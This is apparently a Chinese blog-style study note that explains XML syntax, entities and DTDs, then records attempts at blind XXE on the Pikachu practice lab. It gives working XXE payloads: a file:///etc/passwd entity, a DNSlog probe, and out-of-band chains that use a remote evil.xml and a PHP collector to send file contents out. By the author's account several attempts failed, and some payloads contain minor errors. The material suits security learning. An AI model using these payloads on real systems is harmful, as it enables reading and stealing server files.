XXE漏洞,无回显下的判断(带出数据失败),xml基础语法。
1.XML基础语法
<?xml version="1.0" encoding="UTF-8"?><!-- 这是xml声明 -->
<!-- 这是一个XML注释 -->
<rootElement><!-- 这是根元素 - 元素可以嵌套,可以有属性和文本内容-->
<childElement attribute="value">内容</childElement>
</rootElement><!-- 根元素结束 -->
<!-- 元素可以嵌套,可以有属性和文本内容 -->
2.XML 实体(Entities)
预定义实体
< <!-- < -->
> <!-- > -->
& <!-- & -->
' <!-- ' -->
" <!-- " -->
自定义内部实体
<!DOCTYPE 根元素名字 [
<!ENTITY 实体名字 "这是实体内容">
]>
<root>&myentity;</root>
<!--DOCTYPE 表示 DTD 声明的开始
根元素名:必须匹配 XML 文档的根元素(如 `<root>`)
DTD规则:定义实体、元素、属性等(可内部定义,也可引用外部 DTD)-->
外部实体 (XXE 关键点)
<!DOCTYPE test(根元素名字) [
<!ENTITY external(实体名字) SYSTEM "file:///etc/passwd">
]>
<root>&external;</root>
<!--
在此其中,SYSTEM是关键的,它的作用是
--声明外部实体:告诉 XML 解析器,实体的内容不是直接定义的,而是来自外部资源(如文件、URL)。
--指定资源位置:通过 `URI`(统一资源标识符)定位外部数据,例如file,http,php等协议
-->
在此其中,<root>&external;</root>
的“&”是 XML 文档内容中 引用已定义的通用实体。它的语法是以 &
开头,;
结尾。
-
关键点:
-
用于 替换文档中的文本内容。
-
可以是内部定义的字符串,也可以是外部资源(如
SYSTEM "file:///etc/passwd"
)。 -
XXE 攻击中常见:通过
&xxx;
尝试输出敏感文件内容。
如果是%xxxx
那就是 参数实体 (Parameter Entity)仅在 DTD 内部 使用(定义其他实体或规则),不能在 XML 文档内容中直接引用。以%
开头,;
结尾。
(DTD也就是在<!DOCTYPE [...]>
,大白话讲也就是,&可以在如何地方用,而%只能在DTD里面用,我感觉就行是全局变量和,局部变量的区别。)
实例:
-
<!DOCTYPE root [
<!ENTITY % param "这是参数实体内容"> <!-- 定义参数实体 -->
%param; <!-- 在DTD内部展开参数实体 -->
<!ENTITY general "基于参数实体定义的内容:%param;">
]>
<root>&general;</root>
输出:
<root>基于参数实体定义的内容:这是参数实体内容</root>
3. DTD (Document Type Definition)
DTD 定义了 XML 文档的结构,也是 XXE 利用的关键:
内部DTD
<!DOCTYPE note [
<!ELEMENT note (to,from,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
从上到下一行一行解析
- 作用:声明这是一个 XML 文档类型定义,根元素名为 `note`。
- 作用:定义 `note` 元素的子元素及其顺序。
- 作用:定义 `to` 元素的内容类型。
- 同 `to` 元素的定义,表示 `from` 元素只能包含文本。
- 同 `to` 和 `from`,表示 `body` 元素只能包含文本。
- #PCDATA代表可解析的字符数据
合法示例
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to, from, body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Alice</to>
<from>Bob</from>
<body>Meet me at 5 PM!</body>
</note>
外部 DTD
<!DOCTYPE note SYSTEM "http://example.com/note.dtd">
4. 参数实体 (Parameter Entities)
用于 DTD 内部的实体,以 %
开头:
<!DOCTYPE example [`
`<!ENTITY % param_entity "这是参数实体">`
`%param_entity;`
`]>
正题无回显判断XXE
使用DNSlog判断
打开DNSlog获取一个随机域名,然后使用以下payload(靶场为皮卡丘靶场)
payload
<?xml version="1.0"?>
<!DOCTYPE XXE [
<!ENTITY % dnslog SYSTEM "http://yvvz27.dnslog.cn/你的dnslog url">
%dnslog;
]>
<root>XXE</root>
带出数据的方法
思路是通过xxe获取目标内容,并通过引用一个外部xml,这个eval.xml又去访问我们的一个php文件,这个php文件会通过GET获取数据,并写入到本地文件。
首先我们的payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "http://192.168.0.249/vul/xxe/test.txt">
<!ENTITY % remote SYSTEM "http://192.168.0.249/vul/xxe/eval.xml">
%remote;
%all;
]>
<root>&send;</root>
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://192.168.0.249/vul/xxe/eval.xml">
<!ENTITY % file SYSTEM "http://192.168.0.249/vul/xxe/test.txt">
%remote;
%file
%all;
]>
<root>&send;</root>
<?xml version="1.0"?>
<!DOCTYPE XXE[
<!ENTITY % file SYSTEM "http://192.168.0.249/vul/xxe/test.txt">
<!ENTITY % send SYSTEM "http://192.168.0.249/vul/xxe/collect.php?data=%file">
%file;
%send;
]>
<?xml version="1.0"?>
<!DOCTYPE XXE[
<!ENTITY % file SYSTEM "http://192.168.0.249/vul/xxe/test.txt">
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://192.168.0.249/vul/xxe/collect.php?data=%file;'>">
%eval;
%send;
]>
<root>123</root>
直到25/7/28日我还没有,完成复现操作,我已经试了无数次了,不管是重新payload,eval还是collect.php都无法实现复现,我顺着暗月的教程也没成功,我个人感觉是php版本或者扩展的问题,也就复现成功一次。qwq下面提供暗月课程中的复现文件(dnslog测试是成功的)我也希望有大佬可以解答一下,闹麻了搞一下午。
payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file://ip/file">
<!ENTITY % remote SYSTEM "http://ip/evil.xml">
%remote;
%all;
]>
<root>send;</root>
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/1.php?file=%file;'>">
1.php
<?php file_put_contents("1.txt",$_GET['file']); ?>